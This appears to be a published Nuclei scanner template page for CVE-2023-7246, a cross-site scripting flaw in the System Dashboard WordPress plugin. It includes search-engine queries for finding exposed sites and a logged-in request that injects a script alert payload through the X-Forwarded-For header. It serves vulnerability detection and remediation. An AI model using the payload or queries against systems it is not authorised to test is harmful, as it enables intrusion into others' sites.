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System Dashboard < 2.8.10 - Cross-Site Scripting

ID: CVE-2023-7246

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,wp,wordpress,xss,wp-plugin,authenticated,system-dashboard

Description

Section titled “Description”

The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.

YAML Source

Section titled “YAML Source”
id: CVE-2023-7246


info:
  name: System Dashboard < 2.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.
  remediation: |
    Update the System Dashboard plugin to version 2.8.10 or later.
  reference:
    - https://wpscan.com/vulnerability/7413d5ec-10a7-4cb8-ac1c-4ef554751518/
    - https://research.cleantalk.org/cve-2023-7246/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7246
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-7246
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/system-dashboard/"
    google-query: inurl:"/wp-content/plugins/system-dashboard/"
    shodan-query: html:"wp-content/plugins/system-dashboard/"
  tags: cve,cve2023,wp,wordpress,xss,wp-plugin,authenticated,system-dashboard


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1


      - |
        GET /wp-admin/index.php?page=system-dashboard HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 0.0.0.0<script>alert(document.domain)</script>


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Your IP</strong>"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-7246.yaml"

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